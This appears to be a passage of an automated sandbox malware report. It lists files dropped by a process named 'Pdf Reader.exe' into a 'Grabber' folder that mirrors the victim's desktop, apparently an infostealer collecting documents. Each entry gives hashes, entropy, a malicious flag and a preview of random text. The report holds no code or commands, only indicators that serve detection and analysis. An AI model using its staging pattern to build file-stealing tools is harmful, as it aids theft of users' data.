Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN\BPMLNOBVSB.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	true
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN\DVWHKMNFNN.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN\JSDNGYCOWY.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690895772725941
Encrypted:	false
SSDEEP:	24:ZTWQe0oC6OG/K8Vsypd0HuXw0xVfU/Vzv98UU:ZTWQr2VyXysHIwcGKUU
MD5:	A002E80B55673139253599B753BDC01A
SHA1:	6AEEF831A5AAB9155AAABB52D173859E20A86932
SHA-256:	F3484FA4E615D7134AC1BF4C3355C6AD63B32AC3CD096345C5EBF6B0CE6669A0
SHA-512:	D4A9257255BA4610E904C005F6734E65D5B0B4489E645792F3AB52AFD59B4B76E4B0FCE1F3457D7E5D3DA3101DAAC80A926FA513B77DAB01F2DAC5F5C4304CA7
Malicious:	true
Preview:	JSDNGYCOWYHKSOWFGCIERRTFYJMLBLSAMTEZRBUWFRXYICIUHZNIMVLJXTFXQNXACRFWSEWJBERQHLEBPYXRECCWDJKIIOUGNYQMGAHSLOPLLALAEDDKJTOOCDGYIBOWZZREIEWSXQRGULZIXFYNIUMNTNALWVABHVLKEJLBKGOKXZWDSWRTTLTQLNTZDYMSECYMQISNCNIAJOWDCCMHWLIVFACQKZXXZJOSENBJHZELIVOCAHDNZGZILFSILTSAJXDBFAIPHVHXYHJHVMVHKVOMYOGGVIKVJUVYLDFTICBCZKSVRDRTALSXFNMCPLGOGSEBKXSHSHVDVDKWEHNIBLPTMWICAACVFWPQNIUVLFSAWPOGDJFOGTXDHMTFWREVZXCABJCKFYXJGAHKTXNFLIILTMBRTKACTMOVDBLCVYDVLNCDXAAINTGCCRZPDTOFCWZWTHLCVGRTQPEBHUFYWLTLNUIOFLOUTCINZEJUVLTZPPDBVDEELCGFQSGJPRJBEALQLZQAYAQRUTUANCYUZJENWEIISDNULLJXJUPBQHEJEUVMKMEUQRDHXPAZVIFDUGNWXKXYWIQQNJNRMYCLJLHWESVCNCQSXILKRQFSYEDZSBHSLAYIWWOVRVVSWUFEAQPMAPAKFCXFBDIPKHPSFGVOJCEEBALPVQKECBBUCTQGQXOQAPOOYAPYQXNDLKJDRFQDILPIWRGDYTFUHSZLJICMMUSSHGHNLKNEDYXJSPECVTAEQTVXATOODAVROWNAPCHDRRBHVDVWBGOSCJGDENAGFCYDIHAPBWLJNOPCQCPTSOHGQQMHEAKRBOBSEHAOMGXJVYWJGLSIQJUOMYPNZTOFVNNMRIVMHOCFZTLTEDAGEXGJXLNRLSHJQGFHIJDLJHOPPMFPYEIXPRQCTRDIYDJEHHSKFBRZMXLZJBDDOYCXQJBCBQFRXVCYCHXKGNDWEEUUKPAGVHHOXFZXZEWWCOVSFYZHILZJQQKFHCLR

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN\WUTJSCBCFX.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\DVWHKMNFNN.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	true
